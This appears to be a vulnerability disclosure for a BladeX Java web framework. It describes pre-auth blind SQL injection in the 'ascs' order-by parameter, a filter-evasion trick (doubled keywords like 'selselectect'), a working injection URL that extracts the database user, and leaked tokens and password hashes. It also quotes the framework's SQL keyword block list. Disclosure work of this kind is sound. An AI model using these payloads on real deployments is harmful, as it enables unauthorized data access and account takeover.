tl;dr
Flaws in DAO/DTO implementation allows SQLi in order by clause.
User token and/or password hash disclosed in pre-auth APIs of which are vulnerable to SQLi above as well.
detail
is exposed by default install. For instance, the demo site.
![upload_aaa29b3ad97ede8813529433d5c2c13c](https://user-images.githubusercontent.com/68777488/88458392-51d24980-cec0-11ea-89e4-785dfd673f3c.png)
'Refresh token' can be used to exchange for a valid jwt ticket, or in a different way to compromise user account, log in with credential cracked from leaking md5 hash.
Before actually stepping into the system, let's see what's else we could find on this API.
Request handling looks a lot like this
/**
* 查询多条(分页)
*/
@GetMapping("/list")
public R<IPage<LogUsualVo>> list(@ApiIgnore @RequestParam Map<String, Object> log, Query query) {
IPage<LogUsual> pages = logService.page(Condition.getPage(query), Condition.getQueryWrapper(log, LogUsual.class));
List<LogUsualVo> records = pages.getRecords().stream().map(logApi -> {
LogUsualVo vo = BeanUtil.copy(logApi, LogUsualVo.class);
vo.setStrId(Func.toStr(logApi.getId()));
return vo;
}).collect(Collectors.toList());
IPage<LogUsualVo> pageVo = new Page<>(pages.getCurrent(), pages.getSize(), pages.getTotal());
pageVo.setRecords(records);
return R.data(pageVo);
}
Condition.getPage() casts a few params to Int and replace 'bad words' with blank string in 'ascs' and 'desc' (which are then pasted into order by clause)
public static <T> IPage<T> getPage(Query query) {
Page<T> page = new Page((long)Func.toInt(query.getCurrent(), 1), (long)Func.toInt(query.getSize(), 10));
page.setAsc(Func.toStrArray(SqlKeyword.filter(query.getAscs())));
page.setDesc(Func.toStrArray(SqlKeyword.filter(query.getDescs())));
return page;
}
the Condition.getQueryWrapper() thing is a sort of indicator for batis data model, apart from being a type indicator it is in charge of building statement. after a few delegates and overrides it gets invoked in the way below
public static <T> QueryWrapper<T> getQueryWrapper(Map<String, Object> query, Map<String, Object> exclude, Class<T> clazz) {
exclude.forEach((k, v) -> {
query.remove(k);
});
QueryWrapper<T> qw = new QueryWrapper();
qw.setEntity(BeanUtil.newInstance(clazz));
SqlKeyword.buildCondition(query, qw);
return qw;
}
Only seen tokenization stuffs in SqlKeyword.buildCondition(). At this stage, pre-auth visitors can perform SQLi by providing malicious query.get[AD]scs() values, which were directly taken from reuqest as strings, if SqlKeyword.filter() isn't too strong, right?
public static String filter(String param) {
return param == null ? null : param.replaceAll("(?i)'|%|--|insert|delete|select|count|group|union|drop|truncate|alter|grant|execute|exec|xp_cmdshell|call|declare|sql", "");
}
Simply 'double-write' (eg, select -> selselectect) to bypass while doing real world exploitation. filter won't interfere with POCs below. Notice comma char (%2c) gets picked up and replaced in deeper delegate.
Iterate placeholder 1 and 97 in URL below (params decoded) from 1 to 20ish and 97 to 123 respectively.
/api/blade-log/api/list?ascs=time and ascii(substring(user() from 1))=97
by comparing response length, pick out uncommon returns, record relating iterator nums, gets you a ascii sequence of [98,108,97,100,101,120,?,108,111,99,97,108,104,111,115,116,?......] non-lowercase-alphabet chars are marked as '?'.
![upload_9998898e103ce51afaf152eaa9af391e](https://user-images.githubusercontent.com/68777488/88458402-6a426400-cec0-11ea-8960-3bf6dc6023a1.png)
this gets you current db user.
>>> ''.join(map(chr,[98,108,97,100,101,120,63,108,111,99,97,108,104,111,115,116]))
'bladex?localhost'
post script
the actul /api/blade-log/api/list sets a fixed "desc", is vulne to malicious "ascs" only.
IPage<LogApi> pages = logService.page(Condition.getPage(query.setDescs("create_time")), Condition.getQueryWrapper(log, LogApi.class));